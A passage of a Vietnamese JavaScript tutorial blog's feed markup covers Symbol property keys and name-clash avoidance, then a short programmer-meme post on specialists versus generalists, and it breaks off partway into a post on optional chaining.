3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của Symbol</h2> <h3 id="symbol-có-thể-làm-key-cho-thuộc-tính-của-object" style="position:relative;"><a href="#symbol-c%C3%B3-th%E1%BB%83-l%C3%A0m-key-cho-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-object" aria-label="symbol có thể làm key cho thuộc tính của object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol có thể làm key cho thuộc tính của Object</h3> <p>Đối với <a href="/object-la-gi-object-trong-javascript/">object</a> thì ngoài string, Symbol cũng có thể làm key cho thuộc tính của Object, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"abc123"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {Symbol(id): "abc123"}</span></code></pre></div> <p>Tuy nhiên, thuộc tính với Symbol sẽ là <strong>non-enumerable</strong>. Do đó, bạn không thể dùng <a href="/vong-lap-trong-javascript/"><code>for...in</code></a> để duyệt nó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"abc123"</span><span class="token punctuation">,</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 1, y: 2, Symbol(id): "abc123"}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> obj<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * x * y */</span></code></pre></div> <p>Để duyệt các thuộc tính với key là Symbol, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols"><code>Object.getOwnPropertySymbols()</code></a>. Phương thức này trả về mảng của tất cả các thuộc tính có key là Symbol, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> id <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> name <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"abc123"</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>name<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"obj"</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {y: 2, Symbol(id): "abc123", Symbol(name): "obj"}</span> <span class="token keyword">const</span> arr <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertySymbols</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [Symbol(id), Symbol(name)]</span></code></pre></div> <h3 id="symbol-được-dùng-để-tránh-gây-xung-đột-về-tên" style="position:relative;"><a href="#symbol-%C4%91%C6%B0%E1%BB%A3c-d%C3%B9ng-%C4%91%E1%BB%83-tr%C3%A1nh-g%C3%A2y-xung-%C4%91%E1%BB%99t-v%E1%BB%81-t%C3%AAn" aria-label="symbol được dùng để tránh gây xung đột về tên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol được dùng để tránh gây xung đột về tên</h3> <h4 id="ví-dụ-khi-không-dùng-symbol" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-khi-kh%C3%B4ng-d%C3%B9ng-symbol" aria-label="ví dụ khi không dùng symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ khi không dùng Symbol</h4> <p>Giả sử mình định nghĩa một <a href="/su-dung-es-modules-tren-trinh-duyet/">module</a> như là một object, với một key dạng string là "id". Trường "id" sẽ được sử dụng với mục đích nào đó bên trong module.</p> <div class="gatsby-code-title gatsby-remark-code-title">lib.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> module <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token string">"abc"</span><span class="token punctuation">,</span> <span class="token function-variable function">printId</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"id in lib:"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> module<span class="token punctuation">;</span></code></pre></div> <p>Khi một người khác sử dụng module của mình, do không biết nên người đó lại tiếp tục sử dụng thuộc tính với key là "id". Dẫn đến giá trị của "id" bị thay đổi.</p> <p>Cuối cùng, các logic khác cũng bị thay đổi theo. Và đây là điều mà mình không mong muốn.</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> module <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> module<span class="token punctuation">.</span>id <span class="token operator">=</span> <span class="token string">"123"</span><span class="token punctuation">;</span> module<span class="token punctuation">.</span><span class="token function">printId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => id in lib: 123</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"id in main:"</span><span class="token punctuation">,</span> module<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => id in main: 123</span></code></pre></div> <p>Nhưng nếu mình sử dụng "id" là Symbol thì sao?</p> <h4 id="ví-dụ-khi-sử-dụng-symbol" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-khi-s%E1%BB%AD-d%E1%BB%A5ng-symbol" aria-label="ví dụ khi sử dụng symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ khi sử dụng Symbol</h4> <p>Định nghĩa thư viện:</p> <div class="gatsby-code-title gatsby-remark-code-title">lib.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> id <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> module <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"abc"</span><span class="token punctuation">,</span> <span class="token function-variable function">printId</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"id in lib:"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> module<span class="token punctuation">;</span></code></pre></div> <p>Sử dụng thư viện:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> module <span class="token keyword">from</span> <span class="token string">"./lib.js"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> id <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> module<span class="token punctuation">[</span>id<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"123"</span><span class="token punctuation">;</span> module<span class="token punctuation">.</span><span class="token function">printId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => id in lib: abc</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"id in main:"</span><span class="token punctuation">,</span> module<span class="token punctuation">[</span>id<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => id in main: 123</span></code></pre></div> <p>Rõ ràng, dù ở <strong>main.js</strong> có thay đổi <code>id</code> như nào thì hàm <code>printId</code> vẫn không hề thay đổi.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về Symbol trong JavaScript:</p> <ul> <li>Symbol là một <strong>kiểu dữ liệu nguyên thủy</strong>.</li> <li>Để tạo symbol mới, bạn gọi hàm <code>Symbol()</code> với giá trị truyền vào là <strong>description</strong> (không bắt buộc) để miêu tả symbol.</li> <li>Symbol là <strong>duy nhất</strong>. Dù bạn có tạo ra các symbol với cùng description thì chúng vẫn khác nhau.</li> <li>Để trả về symbol giống nhau với cùng một <strong>key</strong>, bạn có thể dùng <code>Symbol.for(key)</code>. Phương thức này kiểm tra trong <strong>global</strong>, nếu tồn tại symbol với key như vậy thì trả về symbol tương ứng, ngược lại thì tạo mới symbol.</li> <li>Symbol thường được sử dụng để làm thuộc tính trong object, giúp tránh gây xung đột về tên.</li> </ul> <p>Để biết thêm về các phương thức hỗ trợ của Symbol trong JavaScript, bạn có thể tham khảo các bài viết dưới đây:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol - MDN</a></li> <li><a href="https://javascript.info/symbol">Symbol type - javascript.info</a></li> <li><a href="https://medium.freecodecamp.org/how-did-i-miss-javascript-symbols-c1f1c0e1874a">A quick overview of JavaScript symbols</a></li> </ul>[email protected]<![CDATA[Ảnh chế vui #5: Specialist vs Generalist - who is the winner?]]><![CDATA[Specialist: a person who devotes himself or herself to one subject or to one particular branch of a subject or pursuit. Generalist a person whose knowledge, aptitudes, and skills…]]>https://completejavascript.com/anh-che-vui-5-specialist-vs-generalist-winner/https://completejavascript.com/anh-che-vui-5-specialist-vs-generalist-winner/<![CDATA[Ảnh chế]]>Mon, 22 May 2017 14:10:56 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRElEQVQoz2NgYGCQlpZ2d3dXUVExMTGRlJTU09MTERHR09c3NTXV1dWVkJAwN7ewsLCwt7c3MjIyNDQ0NjaWk5NngAA1NbXU1FRXV9fg4GBLS8ugoCAbGxstLU1zc3NfX18XF9eEhISoqMiMjIz09PTw8PCwsFB9fQOo5oyMjO/fvz979uzly5c/fvy4f+/u4kWLFi1aEhoaeuvWra9fvz56/PjipctHjx5bsHDR6TNnP336vHDhQqjmkpKS//////79+////+fOnJm/YOGly9d//fqVmJj45s2b////f3j3es26jdNmzknPzs3MyDp89Ni6deugmouKiv7////r58+Vy5atWLXu4+ev//////HjR1xc3JMnT86ePjNr3tzO3v6cgpKM7LzC4tIHjx5t3rwZRfOBvXvmz5r69///f39B4Pv377ExMW/ev7u0bXtBUFh9S1tTW0d9c9vZ8xf+//+/evVqqObS0tLzp05s3bD+Pxj8+/fv////f/78SU1NhTj77fUbG9euv3bj9ru37799+/7///8NGzZANWtpaWalp69evXrt2rUrVqxYuXLlggULpk+fbmlp2dHRMXXatIVLly5evLiru3sOGMyaNSs1NRWkk5ONlY2VhYGBgYeHR1paWlZWVk5OjpWVlQEJcHNxqaqqqqmpycvLcXNzIyRyY4ND3GxYWVn5+Pg4wYCDg4OLi4uZmZmRkZEZDBgZGeHqIYJMTEwgjrGGkrq8FCsrKzc3Nw8PD0QzGxsbss2MqAAuAQCWcgsH5+u2vwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Specialist vs Generalist: who is the winner?" title="Specialist vs Generalist: who is the winner?" src="/static/601f159951f1569e0761cab1cf6d0518/7c811/Specialist-vs-Generalist-who-is-the-winner.png" srcset="/static/601f159951f1569e0761cab1cf6d0518/103f2/Specialist-vs-Generalist-who-is-the-winner.png 165w, /static/601f159951f1569e0761cab1cf6d0518/748ba/Specialist-vs-Generalist-who-is-the-winner.png 330w, /static/601f159951f1569e0761cab1cf6d0518/7c811/Specialist-vs-Generalist-who-is-the-winner.png 660w, /static/601f159951f1569e0761cab1cf6d0518/a27c6/Specialist-vs-Generalist-who-is-the-winner.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="specialist" style="position:relative;"><a href="#specialist" aria-label="specialist permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Specialist:</h2> <p>a person who devotes himself or herself to one subject or to one particular branch of a subject or pursuit.</p> <h2 id="generalist" style="position:relative;"><a href="#generalist" aria-label="generalist permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Generalist</h2> <p>a person whose knowledge, aptitudes, and skills are applied to a field as a whole or to a variety of different fields.</p> <h2 id="comment" style="position:relative;"><a href="#comment" aria-label="comment permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Comment</h2> <p>This picture is just <a href="/tag/anh-che/">funny</a>. It's hard to choose who is the winner between specialist and generalist. In my opinion, I choose specialist. Because I'm working as a programmer, so, becoming specialist is more important.</p> <p>What do you think about this? I would like to know your opinion.</p> <p>See you in the next post, thank you!</p> <h2 id="similar-posts" style="position:relative;"><a href="#similar-posts" aria-label="similar posts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Similar posts</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[Optional chaining trong JavaScript]]><![CDATA[Optional chaining trong JavaScript ?. là cách an toàn để truy cập vào thuộc tính của object lồng nhau, thậm chí thuộc tính không tồn tại. Vấn đề với thuộc tính không tồn tại Giả sử…]]>https://completejavascript.com/optional-chaining-trong-javascript/https://completejavascript.com/optional-chaining-trong-javascript/<![CDATA[ES6]]><![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Sun, 21 May 2017 20:35:00 GMT<p><strong>Optional chaining trong JavaScript</strong> <code>?.</code> là cách an toàn để truy cập vào thuộc tính của object lồng nhau, thậm chí thuộc tính không tồn tại.</p> <h2 id="vấn-đề-với-thuộc-tính-không-tồn-tại" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-v%E1%BB%9Bi-thu%E1%BB%99c-t%C3%ADnh-kh%C3%B4ng-t%E1%BB%93n-t%E1%BA%A1i" aria-label="vấn đề với thuộc tính không tồn tại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề với thuộc tính không tồn tại</h2> <p>Giả sử mình có đối tượng <code>user</code>. Trong đối tượng <code>user</code> lại có thuộc tính <code>address</code> (cũng là một <a href="/object-la-gi-object-trong-javascript/">object</a>). Nhưng thuộc tính <code>address</code> là <strong>không bắt buộc</strong>.</p> <p>Nghĩa là không phải đối tượng nào cũng cung cấp <code>address</code> hay giá trị của <code>user.address</code> có thể bằng <code>undefined</code>.</p> <p>Tiếp theo, trong <code>address</code> lại có các thuộc tính như <code>street</code>, <code>city</code>,... Nếu mình muốn truy cập vào <code>address</code> thì sẽ làm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// user có thuộc tính address</span> <span class="token keyword">let</span> user1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">address</span><span class="token operator">:</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">street</span><span class="token operator">:</span> <span class="token string">"Hai Ba Trung"</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user1<span class="token punctuation">.</span>address<span class="token punctuation">.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hai Ba Trung</span></span> <span class="token comment">// user không có thuộc tính address</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> user2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user2<span class="token punctuation">.</span>address<span class="token punctuation">.</span>street<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Uncaught TypeError: Cannot read properties of undefined (reading 'street')</span></span></code></pre></div> <p>Trường hợp <code>user2</code> không có <code>address</code> mà mình truy cập <code>user2.address.street</code> thì sẽ bị lỗi <strong>Uncaught TypeError: Cannot read properties of undefined (reading 'street')</strong>.</p> <blockquote> <p>Tạm dịch: không thể đọc giá trị thuộc tính của <code>undefined</code>.</p> </blockquote> <p><strong>Kết quả mong muốn</strong> thường là: nếu <code>user2.address</code> bằng <code>undefined</code> thì <code>user2.address.street</code> cũng trả về <code>undefined</code>.</p> <p>Có một số cách để giải quyết vấn đề này. Bạn có thể sử dụng <a href="/cau-truc-re-nhanh-trong-javascript/">câu lệnh <code>if</code> hoặc toán tử <code>?:</code></a> hoặc dùng <a href="/toan-tu-logic-trong-javascript/">toán tử AND <code>&#x26;&#x26;</code></a> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng if</span> <span class="token keyword">let</span> street1<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>user2<span class="token punctuation">.</span>address<span class="token punctuation">)</span> <span class="token punctuation">{</span> street1 <span class="token operator">=</span> user2<span class="token punctuation">.</span>address<span class="token punctuation">.</span>street<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng ?:</span> <span class="token keyword">let</span> street2 <span class="token operator">=</span> user2<span class="token punctuation">.</span>address <span class="token operator">?</span> user2<span class="token punctuation">.</span>address<span class="token punctuation">.</span>street <span class="token operator">:</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng toán tử &amp;&amp;</span> <span class="token keyword">let</span> street3 <span class="token operator">=</span> user2<span class="token punctuation">.</span>address <span class="token operator">&amp;&amp;</span> user2<span class="token punctuation">.</span>address<span class="token punctuation">.</span>street<span class="token punctuation">;</span></code></pre></div> <p>Rõ ràng, cả ba cách trên đều quá dài dòng. Và <code>user2.address</code> bị <strong>lặp lại hai lần</strong>. Và nếu object có <strong>nhiều lớp lồng nhau</strong> thì việc lặp lại còn xảy ra nhiều hơn.</p> <p>Đó là lý do <strong>optional chaining trong JavaScript</strong> xuất hiện để giải quyết vấn đề trên.</p> <h2 id="optional-chaining-trong-javascript-là-gì" style="position:relative;"><a href="#optional-chaining-trong-javascript-l%C3%A0-g%C3%AC" aria-label="optional chaining trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 